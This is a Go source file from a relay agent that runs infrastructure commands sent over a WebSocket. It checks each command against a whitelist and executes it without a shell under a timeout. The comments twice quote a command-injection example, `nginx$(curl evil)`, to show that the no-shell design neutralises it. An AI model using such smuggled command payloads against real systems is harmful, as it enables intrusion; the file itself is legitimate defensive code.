Files
coreci-chat/apps/relay-agent/wsclient/handler.go
T
CIAgent 0c15d3d0b2 docs(milestone): complete M2 — MCP Layer & Day 1 Adapters (v0.2)
M2 delivers the read-only MCP capability broker gateway and four Day-1
infrastructure adapters (Proxmox, SSH/Linux, GitHub, Gitea). 13 REQs (015-027)
all pass. 656 tests green. M1 non-regression verified.

MCP spec 2025-06-18 conformance verified (PROTOCOL.md + 7 tests).
Defense-in-depth SSH (broker layer 1 + Relay Agent layer 2 + no-shell exec).
Two-track LLM smoke (Track A mock-path P0 gate passes).
CI: Gitea Actions (.gitea/workflows/ci.yml) with Postgres 16 + RLS verification.

Phases shipped:
  P0  pre-execution          v0.1.0
  P1  Wave F — MCP gateway   v0.1.1
  P2  Wave G — Proxmox       v0.1.2
  P3  Wave H — SSH/Linux     v0.1.3
  P4  Wave I — Git adapters   v0.1.4
  P5  Wave J — SSE+smoke+UI  v0.1.5
  P6  Final — review+ship    v0.1.6 ← milestone release

---ci---
phase: 6
milestone: v0.2
status: complete
phase_role: final
milestone_complete: true
requirements:
  covered: [REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-020, REQ-021, REQ-022, REQ-023, REQ-024, REQ-025, REQ-026, REQ-027]
  partial: []
---/ci---
2026-08-25 06:14:21 +00:00

290 lines
10 KiB
Go

// Package wsclient — tool_call message handler (Wave H, Phase 3, G-021).
//
// This file holds the `tool_call` message type + handler. It is a CLEAN
// EXTENSION of the M1 protocol: register/ping/pong continue to work; the
// reader goroutine (in client.go) was restructured to dispatch on the `type`
// field BEFORE unmarshaling into a specific struct (G-021) and routes
// `tool_call` messages to handleToolCall.
//
// Defense-in-depth (R-003, three enforcement layers):
// 1. Broker layer 1 (TS, `validateSshCommand`): the 6-command subset regex.
// 2. Relay Agent layer 2 (Go, `CheckCommand`, G-004 contract UNCHANGED):
// the M1 whitelist (broader than layer 1 — correct defense-in-depth).
// 3. No-shell execution (this file): `exec.Command` with SPLIT ARGV — never
// `sh -c "..."`. A command like `systemctl status nginx$(curl evil)`
// runs `nginx$(curl evil)` as a LITERAL service name (no shell expansion),
// so even if layers 1 and 2 both missed a shell-injection payload, the
// third layer neutralizes it.
//
// Timeout split (R-003): the agent's exec.Command timeout is 9.5s so the
// agent returns a timeout result BEFORE the broker's 10s timeout fires → the
// SSE stream closes cleanly (the broker doesn't give up first).
package wsclient
import (
"context"
"encoding/json"
"fmt"
"log"
"os/exec"
"strings"
"time"
"github.com/coreci/relay-agent/whitelist"
)
// agentExecTimeout is the exec.Command context timeout. 9.5s so the agent
// returns a timeout result 0.5s before the broker's 10s timeout fires
// (R-003 — agent times out first → SSE stream closes cleanly).
const agentExecTimeout = 9500 * time.Millisecond
// toolCallMessage is the server→agent tool invocation (R-003 §4).
//
// { "type": "tool_call", "callId": "<ulid>", "command": "uptime",
// "timeoutMs": 10000 }
type toolCallMessage struct {
Type string `json:"type"` // "tool_call"
CallID string `json:"callId"` // broker correlation id (ULID)
Command string `json:"command"` // validated by broker layer 1 already
TimeoutMs int `json:"timeoutMs"` // informational; agent enforces its own 9.5s
}
// toolResultMessage is the agent→server response. Exactly one of
// {stdout+stderr+exitCode} (success) or {error+exitCode:-1} (rejection /
// timeout / exec failure).
//
// Success: { "type":"tool_result", "callId", "stdout":"...", "stderr":"...", "exitCode":0 }
// Reject: { "type":"tool_result", "callId", "error":"whitelist rejected: ...", "exitCode":-1 }
// Timeout: { "type":"tool_result", "callId", "error":"timeout after 9.5s", "exitCode":-1 }
type toolResultMessage struct {
Type string `json:"type"` // "tool_result"
CallID string `json:"callId"` // echoes the tool_call's callId
Stdout string `json:"stdout"` // success only
Stderr string `json:"stderr"` // success only
ExitCode int `json:"exitCode"` // 0 success; -1 reject/timeout/failure
Error string `json:"error"` // set on reject/timeout/failure (exitCode != 0)
}
// toolCallEnvelope is the raw JSON used for type-first dispatch (G-021). The
// reader goroutine unmarshals into this to read the `type` field, then
// unmarshals the raw bytes again into the specific struct.
type toolCallEnvelope struct {
Type string `json:"type"`
}
// handleToolCall processes a `tool_call` message: layer-2 whitelist check,
// split-argv exec (no shell), 9.5s timeout, returns a `tool_result`.
//
// The whitelist (`w`) is injected by the reader goroutine (Client holds the
// loaded whitelist from main.go). If `w` is nil, the handler rejects every
// command (defense-in-depth — layer 2 cannot be bypassed by a missing
// whitelist file).
func (c *Client) handleToolCall(w *whitelist.Whitelist, raw json.RawMessage) {
// Parse the typed message.
var tc toolCallMessage
if err := json.Unmarshal(raw, &tc); err != nil {
log.Printf("tool_call: parse error: %v", err)
return // malformed tool_call — drop (broker will time out)
}
if tc.CallID == "" {
log.Printf("tool_call: missing callId — dropping")
return
}
if tc.Command == "" {
c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: empty command")
return
}
// Layer 2: Relay Agent CheckCommand (G-004 contract, UNCHANGED signature).
// The M1 whitelist is BROADER than the broker's 6-command subset — correct
// defense-in-depth: layer 2 is a backstop even if the broker is bypassed.
if w == nil {
c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: agent whitelist not loaded")
return
}
if err := w.CheckCommand(tc.Command); err != nil {
// CheckCommand rejection — return a tool_result with exitCode -1.
// The error message is safe to audit/log (no secret data, per G-004).
c.sendToolResult(tc.CallID, "", "", -1, fmt.Sprintf("whitelist rejected: %s", err.Error()))
return
}
// Layer 3: NO SHELL — split argv and exec.Command directly. This is the
// third enforcement layer: even if a shell-injection payload slipped past
// layers 1 and 2, exec.Command with split argv runs the injected tokens as
// LITERAL arguments (no shell expansion). `systemctl status nginx$(curl
// evil)` → exec.Command("systemctl", "status", "nginx$(curl evil)") —
// systemctl receives `nginx$(curl evil)` as a literal service name.
//
// The command has ALREADY passed layer-2 CheckCommand (which uses the
// whitelist package's quoting-aware tokenizer). Here we split on
// whitespace — sufficient for the 6-command subset (no quotes in the
// subset: uptime, df -h, free -m, systemctl status <svc>,
// journalctl -n <N>, systemctl list-units --type=service).
tokens := strings.Fields(tc.Command)
if len(tokens) == 0 {
c.sendToolResult(tc.CallID, "", "", -1, "whitelist rejected: empty command after tokenize")
return
}
// 9.5s context timeout (R-003 — agent times out 0.5s before broker's 10s).
ctx, cancel := context.WithTimeout(context.Background(), agentExecTimeout)
defer cancel()
cmd := exec.CommandContext(ctx, tokens[0], tokens[1:]...)
// Limit capture size so a runaway command can't OOM the agent. 1 MiB per
// stream is plenty for the 6-command subset (uptime, df, free, systemctl
// status, journalctl -n, systemctl list-units).
stdoutBuf := &limitWriter{max: 1 << 20}
stderrBuf := &limitWriter{max: 1 << 20}
cmd.Stdout = stdoutBuf
cmd.Stderr = stderrBuf
start := time.Now()
err := cmd.Run()
elapsed := time.Since(start)
// Timeout (ctx deadline exceeded) — return a timeout tool_result.
if ctx.Err() == context.DeadlineExceeded {
c.sendToolResult(
tc.CallID,
stdoutBuf.String(),
stderrBuf.String(),
-1,
fmt.Sprintf("timeout after %s", agentExecTimeout),
)
return
}
if err != nil {
// Non-zero exit OR a setup failure. Distinguish: if ExitError, the
// command ran and returned non-zero (still success-ish — surface
// stdout/stderr + the real exit code). If not ExitError, it was a
// setup failure (binary not found, etc.) → exitCode -1 + error.
if exitErr, ok := err.(*exec.ExitError); ok {
// ExitError.Stderr is the truncated stderr from the kernel; append
// our captured stderr buffer for the full picture.
combined := append([]byte{}, exitErr.Stderr...)
combined = append(combined, stderrBuf.bytes()...)
c.sendToolResult(
tc.CallID,
stdoutBuf.String(),
string(combined),
exitErr.ExitCode(),
"",
)
return
}
c.sendToolResult(
tc.CallID,
stdoutBuf.String(),
stderrBuf.String(),
-1,
fmt.Sprintf("exec error: %s", err.Error()),
)
return
}
// Success.
_ = elapsed // (available for future metrics; not in the result shape)
c.sendToolResult(
tc.CallID,
stdoutBuf.String(),
stderrBuf.String(),
0,
"",
)
}
// sendToolResult writes a tool_result message to the WebSocket. Safe to call
// from the reader goroutine. Best-effort — a write failure logs and the
// HeartbeatLoop's next read will surface the dead connection (→ reconnect).
func (c *Client) sendToolResult(callId, stdout, stderr string, exitCode int, errMsg string) {
msg := toolResultMessage{
Type: "tool_result",
CallID: callId,
Stdout: stdout,
Stderr: stderr,
ExitCode: exitCode,
}
if errMsg != "" {
msg.Error = errMsg
}
if err := c.writeJSON(msg); err != nil {
log.Printf("tool_call: write tool_result for %s failed: %v", callId, err)
}
}
// limitWriter is a bytes.Buffer with a write cap so a runaway command can't
// exhaust the agent's memory. Writes beyond the cap are silently dropped
// (the broker sees a truncated stdout/stderr, not an OOM).
type limitWriter struct {
buf []byte
max int
wrote int
}
func (lw *limitWriter) Write(p []byte) (int, error) {
remaining := lw.max - lw.wrote
if remaining <= 0 {
// Drop the rest; report success so the command keeps running.
return len(p), nil
}
if len(p) > remaining {
lw.buf = append(lw.buf, p[:remaining]...)
lw.wrote = lw.max
return len(p), nil
}
lw.buf = append(lw.buf, p...)
lw.wrote += len(p)
return len(p), nil
}
// bytes returns the captured output (for ExitError.Stderr composition).
func (lw *limitWriter) bytes() []byte { return lw.buf }
// String returns the captured output as a string.
func (lw *limitWriter) String() string { return string(lw.buf) }
// dispatchType routes a raw message by its `type` field. Called by the reader
// goroutine in client.go (G-021 restructure). Returns true if the message was
// handled (pong or tool_call); false if the type is unknown (caller keeps the
// loop alive — unknown types are ignored for protocol extensibility).
//
// The `w` whitelist is passed by the Client for the tool_call handler; pong
// handling does not need it.
func (c *Client) dispatchType(w *whitelist.Whitelist, raw []byte) bool {
var env toolCallEnvelope
if err := json.Unmarshal(raw, &env); err != nil {
// Not valid JSON — drop (M1 behavior: keep the loop alive).
return false
}
switch env.Type {
case "pong":
// Existing heartbeat path: parse the full pong and signal pongArrived.
var pm pongMessage
if err := json.Unmarshal(raw, &pm); err != nil {
return false
}
if pm.Type == "pong" {
select {
case c.pongArrived <- struct{}{}:
default:
}
}
return true
case "tool_call":
// New M2 path: route to the tool_call handler.
c.handleToolCall(w, raw)
return true
default:
// Unknown type — keep the loop alive (protocol extensibility). The
// broker may add future message types; the agent ignores them until
// a handler is added.
log.Printf("reader: ignoring unknown message type %q (len=%d)", env.Type, len(raw))
return false
}
}
// stripQuote is intentionally NOT defined — the handler uses strings.Fields
// (post-validation split; the 6-command subset has no quotes).